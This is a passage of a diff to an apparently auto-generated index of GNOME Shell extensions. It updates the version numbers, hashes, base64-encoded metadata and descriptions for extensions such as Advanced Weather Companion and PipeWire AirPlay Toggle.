amFpLVNoYWFydWdlc2gvQWR2YW5jZWQtV2VhdGhlci1Db21wYW5pb24iLAogICJ1dWlkIjogImFkdmFuY2VkLXdlYXRoZXJAc2FuamFpLmNvbSIsCiAgInZlcnNpb24iOiAxMgp9"},
-    "48": {"version": "12", "sha256": "173l56lgcpqbk53cqfgwlxvrl3rmcqaml6ghrw20hfdk3pnnnwq4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkdmFuY2VkIHdlYXRoZXIgZXh0ZW5zaW9uIHdpdGggY29tcHJlaGVuc2l2ZSBmZWF0dXJlczpcbi0gRHluYW1pYyBsb2NhdGlvbiBkZXRlY3Rpb25cbi0gTWFudWFsIGxvY2F0aW9uIG92ZXJyaWRlXG4tIFRlbXBlcmF0dXJlIHVuaXQgc2VsZWN0aW9uXG4tIFdlYXRoZXIgaW5zaWdodHMgYW5kIHRyZW5kIGFuYWx5c2lzXG4tIEV4dHJlbWUgd2VhdGhlciBhbGVydHNcbi0gSG91cmx5IGFuZCBkYWlseSBmb3JlY2FzdHMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhZHZhbmNlZC13ZWF0aGVyIiwKICAibmFtZSI6ICJBZHZhbmNlZCBXZWF0aGVyIENvbXBhbmlvbiIsCiAgInByZWZlcmVuY2VzIjogInByZWZzLmpzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFkdmFuY2VkLXdlYXRoZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU2FuamFpLVNoYWFydWdlc2gvQWR2YW5jZWQtV2VhdGhlci1Db21wYW5pb24iLAogICJ1dWlkIjogImFkdmFuY2VkLXdlYXRoZXJAc2FuamFpLmNvbSIsCiAgInZlcnNpb24iOiAxMgp9"}
+    "45": {"version": "16", "sha256": "1fkdff30nfnjrn8m24x8i86mk309rgal3dnaf7cm2xddiyq4993a", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkdmFuY2VkIHdlYXRoZXIgZXh0ZW5zaW9uIHdpdGggY29tcHJlaGVuc2l2ZSBmZWF0dXJlczpcbi0gRHluYW1pYyBsb2NhdGlvbiBkZXRlY3Rpb25cbi0gTWFudWFsIGxvY2F0aW9uIG92ZXJyaWRlXG4tIFRlbXBlcmF0dXJlIHVuaXQgc2VsZWN0aW9uXG4tIFdlYXRoZXIgaW5zaWdodHMgYW5kIHRyZW5kIGFuYWx5c2lzXG4tIEV4dHJlbWUgd2VhdGhlciBhbGVydHNcbi0gSG91cmx5IGFuZCBkYWlseSBmb3JlY2FzdHMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhZHZhbmNlZC13ZWF0aGVyIiwKICAibmFtZSI6ICJBZHZhbmNlZCBXZWF0aGVyIENvbXBhbmlvbiIsCiAgInByZWZlcmVuY2VzIjogInByZWZzLmpzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFkdmFuY2VkLXdlYXRoZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU2FuamFpLVNoYWFydWdlc2gvQWR2YW5jZWQtV2VhdGhlci1Db21wYW5pb24iLAogICJ1dWlkIjogImFkdmFuY2VkLXdlYXRoZXJAc2FuamFpLmNvbSIsCiAgInZlcnNpb24iOiAxNgp9"},
+    "46": {"version": "16", "sha256": "1fkdff30nfnjrn8m24x8i86mk309rgal3dnaf7cm2xddiyq4993a", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkdmFuY2VkIHdlYXRoZXIgZXh0ZW5zaW9uIHdpdGggY29tcHJlaGVuc2l2ZSBmZWF0dXJlczpcbi0gRHluYW1pYyBsb2NhdGlvbiBkZXRlY3Rpb25cbi0gTWFudWFsIGxvY2F0aW9uIG92ZXJyaWRlXG4tIFRlbXBlcmF0dXJlIHVuaXQgc2VsZWN0aW9uXG4tIFdlYXRoZXIgaW5zaWdodHMgYW5kIHRyZW5kIGFuYWx5c2lzXG4tIEV4dHJlbWUgd2VhdGhlciBhbGVydHNcbi0gSG91cmx5IGFuZCBkYWlseSBmb3JlY2FzdHMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhZHZhbmNlZC13ZWF0aGVyIiwKICAibmFtZSI6ICJBZHZhbmNlZCBXZWF0aGVyIENvbXBhbmlvbiIsCiAgInByZWZlcmVuY2VzIjogInByZWZzLmpzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFkdmFuY2VkLXdlYXRoZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU2FuamFpLVNoYWFydWdlc2gvQWR2YW5jZWQtV2VhdGhlci1Db21wYW5pb24iLAogICJ1dWlkIjogImFkdmFuY2VkLXdlYXRoZXJAc2FuamFpLmNvbSIsCiAgInZlcnNpb24iOiAxNgp9"},
+    "47": {"version": "16", "sha256": "1fkdff30nfnjrn8m24x8i86mk309rgal3dnaf7cm2xddiyq4993a", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkdmFuY2VkIHdlYXRoZXIgZXh0ZW5zaW9uIHdpdGggY29tcHJlaGVuc2l2ZSBmZWF0dXJlczpcbi0gRHluYW1pYyBsb2NhdGlvbiBkZXRlY3Rpb25cbi0gTWFudWFsIGxvY2F0aW9uIG92ZXJyaWRlXG4tIFRlbXBlcmF0dXJlIHVuaXQgc2VsZWN0aW9uXG4tIFdlYXRoZXIgaW5zaWdodHMgYW5kIHRyZW5kIGFuYWx5c2lzXG4tIEV4dHJlbWUgd2VhdGhlciBhbGVydHNcbi0gSG91cmx5IGFuZCBkYWlseSBmb3JlY2FzdHMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhZHZhbmNlZC13ZWF0aGVyIiwKICAibmFtZSI6ICJBZHZhbmNlZCBXZWF0aGVyIENvbXBhbmlvbiIsCiAgInByZWZlcmVuY2VzIjogInByZWZzLmpzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFkdmFuY2VkLXdlYXRoZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU2FuamFpLVNoYWFydWdlc2gvQWR2YW5jZWQtV2VhdGhlci1Db21wYW5pb24iLAogICJ1dWlkIjogImFkdmFuY2VkLXdlYXRoZXJAc2FuamFpLmNvbSIsCiAgInZlcnNpb24iOiAxNgp9"},
+    "48": {"version": "16", "sha256": "1fkdff30nfnjrn8m24x8i86mk309rgal3dnaf7cm2xddiyq4993a", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkdmFuY2VkIHdlYXRoZXIgZXh0ZW5zaW9uIHdpdGggY29tcHJlaGVuc2l2ZSBmZWF0dXJlczpcbi0gRHluYW1pYyBsb2NhdGlvbiBkZXRlY3Rpb25cbi0gTWFudWFsIGxvY2F0aW9uIG92ZXJyaWRlXG4tIFRlbXBlcmF0dXJlIHVuaXQgc2VsZWN0aW9uXG4tIFdlYXRoZXIgaW5zaWdodHMgYW5kIHRyZW5kIGFuYWx5c2lzXG4tIEV4dHJlbWUgd2VhdGhlciBhbGVydHNcbi0gSG91cmx5IGFuZCBkYWlseSBmb3JlY2FzdHMiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJhZHZhbmNlZC13ZWF0aGVyIiwKICAibmFtZSI6ICJBZHZhbmNlZCBXZWF0aGVyIENvbXBhbmlvbiIsCiAgInByZWZlcmVuY2VzIjogInByZWZzLmpzIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLmFkdmFuY2VkLXdlYXRoZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vU2FuamFpLVNoYWFydWdlc2gvQWR2YW5jZWQtV2VhdGhlci1Db21wYW5pb24iLAogICJ1dWlkIjogImFkdmFuY2VkLXdlYXRoZXJAc2FuamFpLmNvbSIsCiAgInZlcnNpb24iOiAxNgp9"}
   }}
 , {"uuid": "privacy-indicators-accent-color@sopht.li", "name": "Privacy Indicators Accent Color", "pname": "privacy-indicators-accent-color", "description": "Apply the system accent color to privacy indicators (e.g., microphone) and screen sharing/recording indicators, with an optional blurred background, in the top bar", "link": "https://extensions.gnome.org/extension/7609/privacy-indicators-accent-color/", "shell_version_map": {
     "47": {"version": "3", "sha256": "0zzxphxf6mvl4xfi7v05827rji541p8v6lxzrid2a6bgll37s4r4", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFwcGx5IHRoZSBzeXN0ZW0gYWNjZW50IGNvbG9yIHRvIHByaXZhY3kgaW5kaWNhdG9ycyAoZS5nLiwgbWljcm9waG9uZSkgYW5kIHNjcmVlbiBzaGFyaW5nL3JlY29yZGluZyBpbmRpY2F0b3JzLCB3aXRoIGFuIG9wdGlvbmFsIGJsdXJyZWQgYmFja2dyb3VuZCwgaW4gdGhlIHRvcCBiYXIiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJwcml2YWN5LWluZGljYXRvcnMtYWNjZW50LWNvbG9yQHNvcGh0LmxpIiwKICAibmFtZSI6ICJQcml2YWN5IEluZGljYXRvcnMgQWNjZW50IENvbG9yIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLnByaXZhY3ktaW5kaWNhdG9ycy1hY2NlbnQtY29sb3IiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL1NvcGh0bGkvZ25vbWUtcHJpdmFjeS1pbmRpY2F0b3JzLWFjY2VudC1jb2xvci1leHRlbnNpb24iLAogICJ1dWlkIjogInByaXZhY3ktaW5kaWNhdG9ycy1hY2NlbnQtY29sb3JAc29waHQubGkiLAogICJ2ZXJzaW9uIjogMwp9"},
@@ -8803,11 +8830,11 @@
     "47": {"version": "7", "sha256": "10if8b1lzlfbqn890pm7b89zqv8awynyhfl9fmzsjb0n9wgz4kf0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgdHJheSByYWRpbyBleHRlbnNpb24gdG8gbGlzdGVuLCBzZWFyY2ggYW5kIG1hbmFnZSByYWRpbyBzdGF0aW9ucywgWW91dHViZSB2aWRlb3MuIEluIGFwcCBzZWFyY2ggYSBkYXRhYmFzZSBvZiA1MzAwMCByYWRpbyBzdGF0aW9ucyBhbmQgeW91dHViZS4gSU1QT1JUQU5UOiBSZXF1aXJlcyBpbnN0YWxsYXRpb24gb2YgeXQtZGxwIGFuZCBHU3RyZWFtZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicmFkaW9rYXlyYUBkb2thdG9uLmNvbSIsCiAgIm5hbWUiOiAiUmFkaW8gS2F5cmEiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucmFkaW9rYXlyYSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2F5aGFuYXZjaS9yYWRpb2theXJhIiwKICAidXVpZCI6ICJyYWRpb2theXJhQGRva2F0b24uY29tIiwKICAidmVyc2lvbiI6IDcKfQ=="},
     "48": {"version": "7", "sha256": "10if8b1lzlfbqn890pm7b89zqv8awynyhfl9fmzsjb0n9wgz4kf0", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgdHJheSByYWRpbyBleHRlbnNpb24gdG8gbGlzdGVuLCBzZWFyY2ggYW5kIG1hbmFnZSByYWRpbyBzdGF0aW9ucywgWW91dHViZSB2aWRlb3MuIEluIGFwcCBzZWFyY2ggYSBkYXRhYmFzZSBvZiA1MzAwMCByYWRpbyBzdGF0aW9ucyBhbmQgeW91dHViZS4gSU1QT1JUQU5UOiBSZXF1aXJlcyBpbnN0YWxsYXRpb24gb2YgeXQtZGxwIGFuZCBHU3RyZWFtZXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAicmFkaW9rYXlyYUBkb2thdG9uLmNvbSIsCiAgIm5hbWUiOiAiUmFkaW8gS2F5cmEiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucmFkaW9rYXlyYSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2F5aGFuYXZjaS9yYWRpb2theXJhIiwKICAidXVpZCI6ICJyYWRpb2theXJhQGRva2F0b24uY29tIiwKICAidmVyc2lvbiI6IDcKfQ=="}
   }}
-, {"uuid": "pipewire-airplay-toggle@craw0967.github.com", "name": "pipewire-airplay-toggle", "pname": "pipewire-airplay-toggle", "description": "Quick setting menu toggle to enable/disable the PipeWire RAOP Discover Module (Airplay). Requires PipeWire and pipewire-zeroconf packages.", "link": "https://extensions.gnome.org/extension/7652/pipewire-airplay-toggle/", "shell_version_map": {
-    "45": {"version": "3", "sha256": "0dfan616b5l1agnbp7zrdl66wvgywjmdwzgy9x1wz214wzfjkbcl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrIHNldHRpbmcgbWVudSB0b2dnbGUgdG8gZW5hYmxlL2Rpc2FibGUgdGhlIFBpcGVXaXJlIFJBT1AgRGlzY292ZXIgTW9kdWxlIChBaXJwbGF5KS4gUmVxdWlyZXMgUGlwZVdpcmUgYW5kIHBpcGV3aXJlLXplcm9jb25mIHBhY2thZ2VzLiIsCiAgIm5hbWUiOiAicGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3JhdzA5NjcvcGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJ1dWlkIjogInBpcGV3aXJlLWFpcnBsYXktdG9nZ2xlQGNyYXcwOTY3LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMwp9"},
-    "46": {"version": "3", "sha256": "0dfan616b5l1agnbp7zrdl66wvgywjmdwzgy9x1wz214wzfjkbcl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrIHNldHRpbmcgbWVudSB0b2dnbGUgdG8gZW5hYmxlL2Rpc2FibGUgdGhlIFBpcGVXaXJlIFJBT1AgRGlzY292ZXIgTW9kdWxlIChBaXJwbGF5KS4gUmVxdWlyZXMgUGlwZVdpcmUgYW5kIHBpcGV3aXJlLXplcm9jb25mIHBhY2thZ2VzLiIsCiAgIm5hbWUiOiAicGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3JhdzA5NjcvcGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJ1dWlkIjogInBpcGV3aXJlLWFpcnBsYXktdG9nZ2xlQGNyYXcwOTY3LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMwp9"},
-    "47": {"version": "3", "sha256": "0dfan616b5l1agnbp7zrdl66wvgywjmdwzgy9x1wz214wzfjkbcl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrIHNldHRpbmcgbWVudSB0b2dnbGUgdG8gZW5hYmxlL2Rpc2FibGUgdGhlIFBpcGVXaXJlIFJBT1AgRGlzY292ZXIgTW9kdWxlIChBaXJwbGF5KS4gUmVxdWlyZXMgUGlwZVdpcmUgYW5kIHBpcGV3aXJlLXplcm9jb25mIHBhY2thZ2VzLiIsCiAgIm5hbWUiOiAicGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3JhdzA5NjcvcGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJ1dWlkIjogInBpcGV3aXJlLWFpcnBsYXktdG9nZ2xlQGNyYXcwOTY3LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMwp9"},
-    "48": {"version": "3", "sha256": "0dfan616b5l1agnbp7zrdl66wvgywjmdwzgy9x1wz214wzfjkbcl", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrIHNldHRpbmcgbWVudSB0b2dnbGUgdG8gZW5hYmxlL2Rpc2FibGUgdGhlIFBpcGVXaXJlIFJBT1AgRGlzY292ZXIgTW9kdWxlIChBaXJwbGF5KS4gUmVxdWlyZXMgUGlwZVdpcmUgYW5kIHBpcGV3aXJlLXplcm9jb25mIHBhY2thZ2VzLiIsCiAgIm5hbWUiOiAicGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3JhdzA5NjcvcGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJ1dWlkIjogInBpcGV3aXJlLWFpcnBsYXktdG9nZ2xlQGNyYXcwOTY3LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogMwp9"}
+, {"uuid": "pipewire-airplay-toggle@craw0967.github.com", "name": "PipeWire AirPlay Toggle", "pname": "pipewire-airplay-toggle", "description": "Quick setting menu toggle to enable/disable the PipeWire RAOP Discover Module (AirPlay), allowing users to quickly and easily show or hide their AirPlay enabled speakers.\n\nRequires PipeWire and the libpipewire-module-raop-discover module (installed via the 'pipewire-zeroconf' package on many distributions). This extension does not support PulseAudio.", "link": "https://extensions.gnome.org/extension/7652/pipewire-airplay-toggle/", "shell_version_map": {
+    "45": {"version": "4", "sha256": "1m3g0b6imvpmpnkvi4nzv70hnrqiqkpv5czh94r6a352yq6df815", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrIHNldHRpbmcgbWVudSB0b2dnbGUgdG8gZW5hYmxlL2Rpc2FibGUgdGhlIFBpcGVXaXJlIFJBT1AgRGlzY292ZXIgTW9kdWxlIChBaXJQbGF5KSwgYWxsb3dpbmcgdXNlcnMgdG8gcXVpY2tseSBhbmQgZWFzaWx5IHNob3cgb3IgaGlkZSB0aGVpciBBaXJQbGF5IGVuYWJsZWQgc3BlYWtlcnMuXG5cblJlcXVpcmVzIFBpcGVXaXJlIGFuZCB0aGUgbGlicGlwZXdpcmUtbW9kdWxlLXJhb3AtZGlzY292ZXIgbW9kdWxlIChpbnN0YWxsZWQgdmlhIHRoZSAncGlwZXdpcmUtemVyb2NvbmYnIHBhY2thZ2Ugb24gbWFueSBkaXN0cmlidXRpb25zKS4gVGhpcyBleHRlbnNpb24gZG9lcyBub3Qgc3VwcG9ydCBQdWxzZUF1ZGlvLiIsCiAgIm5hbWUiOiAiUGlwZVdpcmUgQWlyUGxheSBUb2dnbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3JhdzA5NjcvcGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJ1dWlkIjogInBpcGV3aXJlLWFpcnBsYXktdG9nZ2xlQGNyYXcwOTY3LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNAp9"},
+    "46": {"version": "4", "sha256": "1m3g0b6imvpmpnkvi4nzv70hnrqiqkpv5czh94r6a352yq6df815", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrIHNldHRpbmcgbWVudSB0b2dnbGUgdG8gZW5hYmxlL2Rpc2FibGUgdGhlIFBpcGVXaXJlIFJBT1AgRGlzY292ZXIgTW9kdWxlIChBaXJQbGF5KSwgYWxsb3dpbmcgdXNlcnMgdG8gcXVpY2tseSBhbmQgZWFzaWx5IHNob3cgb3IgaGlkZSB0aGVpciBBaXJQbGF5IGVuYWJsZWQgc3BlYWtlcnMuXG5cblJlcXVpcmVzIFBpcGVXaXJlIGFuZCB0aGUgbGlicGlwZXdpcmUtbW9kdWxlLXJhb3AtZGlzY292ZXIgbW9kdWxlIChpbnN0YWxsZWQgdmlhIHRoZSAncGlwZXdpcmUtemVyb2NvbmYnIHBhY2thZ2Ugb24gbWFueSBkaXN0cmlidXRpb25zKS4gVGhpcyBleHRlbnNpb24gZG9lcyBub3Qgc3VwcG9ydCBQdWxzZUF1ZGlvLiIsCiAgIm5hbWUiOiAiUGlwZVdpcmUgQWlyUGxheSBUb2dnbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3JhdzA5NjcvcGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJ1dWlkIjogInBpcGV3aXJlLWFpcnBsYXktdG9nZ2xlQGNyYXcwOTY3LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNAp9"},
+    "47": {"version": "4", "sha256": "1m3g0b6imvpmpnkvi4nzv70hnrqiqkpv5czh94r6a352yq6df815", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrIHNldHRpbmcgbWVudSB0b2dnbGUgdG8gZW5hYmxlL2Rpc2FibGUgdGhlIFBpcGVXaXJlIFJBT1AgRGlzY292ZXIgTW9kdWxlIChBaXJQbGF5KSwgYWxsb3dpbmcgdXNlcnMgdG8gcXVpY2tseSBhbmQgZWFzaWx5IHNob3cgb3IgaGlkZSB0aGVpciBBaXJQbGF5IGVuYWJsZWQgc3BlYWtlcnMuXG5cblJlcXVpcmVzIFBpcGVXaXJlIGFuZCB0aGUgbGlicGlwZXdpcmUtbW9kdWxlLXJhb3AtZGlzY292ZXIgbW9kdWxlIChpbnN0YWxsZWQgdmlhIHRoZSAncGlwZXdpcmUtemVyb2NvbmYnIHBhY2thZ2Ugb24gbWFueSBkaXN0cmlidXRpb25zKS4gVGhpcyBleHRlbnNpb24gZG9lcyBub3Qgc3VwcG9ydCBQdWxzZUF1ZGlvLiIsCiAgIm5hbWUiOiAiUGlwZVdpcmUgQWlyUGxheSBUb2dnbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3JhdzA5NjcvcGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJ1dWlkIjogInBpcGV3aXJlLWFpcnBsYXktdG9nZ2xlQGNyYXcwOTY3LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNAp9"},
+    "48": {"version": "4", "sha256": "1m3g0b6imvpmpnkvi4nzv70hnrqiqkpv5czh94r6a352yq6df815", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlF1aWNrIHNldHRpbmcgbWVudSB0b2dnbGUgdG8gZW5hYmxlL2Rpc2FibGUgdGhlIFBpcGVXaXJlIFJBT1AgRGlzY292ZXIgTW9kdWxlIChBaXJQbGF5KSwgYWxsb3dpbmcgdXNlcnMgdG8gcXVpY2tseSBhbmQgZWFzaWx5IHNob3cgb3IgaGlkZSB0aGVpciBBaXJQbGF5IGVuYWJsZWQgc3BlYWtlcnMuXG5cblJlcXVpcmVzIFBpcGVXaXJlIGFuZCB0aGUgbGlicGlwZXdpcmUtbW9kdWxlLXJhb3AtZGlzY292ZXIgbW9kdWxlIChpbnN0YWxsZWQgdmlhIHRoZSAncGlwZXdpcmUtemVyb2NvbmYnIHBhY2thZ2Ugb24gbWFueSBkaXN0cmlidXRpb25zKS4gVGhpcyBleHRlbnNpb24gZG9lcyBub3Qgc3VwcG9ydCBQdWxzZUF1ZGlvLiIsCiAgIm5hbWUiOiAiUGlwZVdpcmUgQWlyUGxheSBUb2dnbGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMucGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vY3JhdzA5NjcvcGlwZXdpcmUtYWlycGxheS10b2dnbGUiLAogICJ1dWlkIjogInBpcGV3aXJlLWFpcnBsYXktdG9nZ2xlQGNyYXcwOTY3LmdpdGh1Yi5jb20iLAogICJ2ZXJzaW9uIjogNAp9"}
   }}
 , {"uuid": "mihomotray@kuyermqi", "name": "Mihomo Tray", "pname": "mihomo-tray", "description": "A gnome shell extension that creates an indicator in the top bar for easily controlling Mihomo.", "link": "https://extensions.gnome.org/extension/7655/mihomo-tray/", "shell_version_map": {
